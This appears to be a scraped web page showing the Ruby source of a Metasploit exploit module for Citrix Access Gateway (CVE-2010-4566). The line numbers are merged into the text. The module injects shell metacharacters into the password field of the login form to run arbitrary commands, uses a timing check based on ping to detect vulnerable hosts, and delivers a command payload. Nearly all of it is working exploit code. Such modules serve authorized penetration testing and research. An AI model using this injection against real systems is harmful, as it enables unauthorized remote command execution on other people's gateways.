Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Citrix Access Gateway Command Execution',13'Description' => %q{14The Citrix Access Gateway provides support for multiple authentication types.15When utilizing the external legacy NTLM authentication module known as16ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command17line utility to verify a user's identity and password. By embedding shell18metacharacters in the web authentication form it is possible to execute19arbitrary commands on the Access Gateway.20},21'Author' =>22[23'George D. Gal', # Original advisory24'Erwin Paternotte', # Exploit module25],26'License' => MSF_LICENSE,27'References' =>28[29[ 'CVE', '2010-4566' ],30[ 'OSVDB', '70099' ],31[ 'BID', '45402' ],32[ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]33],34'Privileged' => false,35'Payload' =>36{37'Space' => 127,38'DisableNops' => true,39'Compat' =>40{41'PayloadType' => 'cmd cmd_bash',42#'RequiredCmd' => 'generic telnet bash-tcp'43}44},45'DefaultOptions' =>46{47'WfsDelay' => 3048},49'Platform' => [ 'unix' ],50'Arch' => ARCH_CMD,51'Targets' => [[ 'Automatic', { }]],52'DisclosureDate' => '2010-12-21',53'DefaultTarget' => 0))5455register_options(56[57Opt::RPORT(443),58OptBool.new('SSL', [ true, 'Use SSL', true ]),59])6061end6263def post(command, background)64username = rand_text_alphanumeric(20)6566if background67sploit = Rex::Text.uri_encode('|' + command + '&')68else69sploit = Rex::Text.uri_encode('|' + command)70end7172data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="73data << username74data << "&password="75data << sploit7677res = send_request_cgi({78'uri' => '/',79'method' => 'POST',80'data' => data81}, 25)82end8384def check85print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")8687# Try running/timing 'ping localhost' to determine is system is vulnerable88start = Time.now89post("ping -c 10 127.0.0.1", false)90elapsed = Time.now - start91if elapsed >= 392return Exploit::CheckCode::Vulnerable93end9495return Exploit::CheckCode::Safe96end9798def exploit99cmd = payload.encoded100101if not post(cmd, true)102fail_with(Failure::Unknown, "Unable to execute the desired command")103end104end105end106107108